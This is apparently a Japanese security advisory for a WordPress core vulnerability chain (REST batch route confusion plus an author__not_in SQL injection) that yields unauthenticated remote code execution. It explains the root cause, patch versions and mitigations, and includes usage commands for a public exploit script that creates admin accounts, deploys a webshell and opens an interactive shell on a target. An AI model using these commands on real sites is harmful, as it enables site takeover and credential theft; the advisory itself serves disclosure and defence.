要約 — 未認証の攻撃者が、WordPress REST APIのバッチルーティングのバグと、
WP_QueryのSQLインジェクションを連鎖させ、標準のWordPress環境(プラグイン不要、アカウント不要、ユーザー操作不要)で完全なリモートコード実行を達成できます。この脆弱性はAdam Kues(Assetnote / Searchlight Cyber)氏によって発見され、wp2shellと名付けられました。2026年7月17日に6.9.5、7.0.2、6.8.6でパッチが提供されました。
CVE-2026-63030 は、WordPressコアのREST APIバッチエンドポイント(/wp-json/batch/v1)が失敗したサブリクエストを誤って処理し、後続のサブリクエストが誤ったルートでディスパッチされるという脆弱性です。単独ではロジックバグです。CVE-2026-60137(WP_Query の author__not_in パラメータにおけるSQLインジェクション)と連鎖させることで、未認証のリモートコード実行になります。
WordPressはCVE-2026-63030をCritical、CVE-2026-60137をHighと評価しています。サードパーティのCVSS推定値はトラッカーによって異なります(それぞれ概ね7.5と9.1)。個々のスコアだけでは連鎖による影響を完全には捉えられないためです。どの単一の数値が示されても、これはクリティカルとして扱ってください — WordPressは影響を受ける全サイトに自動更新を強制するほど深刻と判断しました。
根本原因 — バッチ処理の記録ずれ。 バッチ内のサブリクエストが検証に失敗すると、結果の WP_Error が内部の $validation[] 配列に記録されますが、ルーティングに使用される並行の $matches[] 配列は更新されません。この1件分のずれにより、後続のすべてのサブリクエストが1位置ずれます:サブリクエスト N は、サブリクエスト N+1 用のルートハンドラでディスパッチされることになります。
サニタイズ回避。 本来ルーティングされていないハンドラの下で実行されるため、サブリクエストはそのハンドラ自身の入力検証(型チェックや is_array() チェックを含む)をスキップします。
SQLインジェクション。 このずれにより、攻撃者が制御した入力が配列ではなく生の文字列として WP_Query の author__not_in パラメータに到達します。通常ならそれを拒否する is_array() ガードが実行されないため、値はそのまま NOT IN (...) 句に埋め込まれます。
侵害への経路。 このインジェクションはSELECT専用(スタックドクエリ不可)ですが、データベースユーザーが FILE 権限を持つホストでは、WebルートにPHPウェブシェルを書き込むのに十分です。それが利用できない場合は、同じインジェクションポイントを使って wp_users テーブルをブラインド/UNIONインジェクションでダンプし、管理者パスワードハッシュを取得できます。いずれにせよ、アカウントもプラグインもユーザー操作も不要です。
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q(ルート混乱)・GHSA-fpp7-x2x2-2mjf(SQLi)CVE-2026-63030) — WordPressのHackerOneプログラムを通じて、Assetnote / Searchlight CyberのAdam Kues氏によって報告されました。CVE-2026-60137) — TF1T、dtro、haongoのチームによって別途報告されました。6.9.5、7.0.2、6.8.6以降に更新してください — これが唯一の完全な修正です。WordPressは影響を受けるサイトで強制自動更新を有効にしましたが、想定せずに実際に適用されたことを確認してください。/wp-json/batch/v1 と ?rest_route=/batch/v1 の両方をブロックしてください。これは緊急措置にすぎません — 正規のバッチAPI利用(例:ブロックベース編集)を壊す可能性があり、パッチ適用の代替にはなりません。| WordPressバージョン | SQLi(CVE-2026-60137) | ルート混乱(CVE-2026-63030) | 実際のリスク |
|---|
| < 6.8.0 | — | — | 影響なし |
| 6.8.0 – 6.8.5 | ✅ | — | SQLiのみ — author__not_in に信頼できない入力を渡すにはプラグイン/テーマが必要。コア単体では事前認証で到達不可。いずれにせよパッチ適用。 |
| 6.9.0 – 6.9.4 | ✅ | ✅ | 未認証RCE |
| 7.0.0 – 7.0.1 | ✅ | ✅ | 未認証RCE |
| 7.1 Beta 1 | ✅ | ✅ | 未認証RCE(ベータチャンネル) |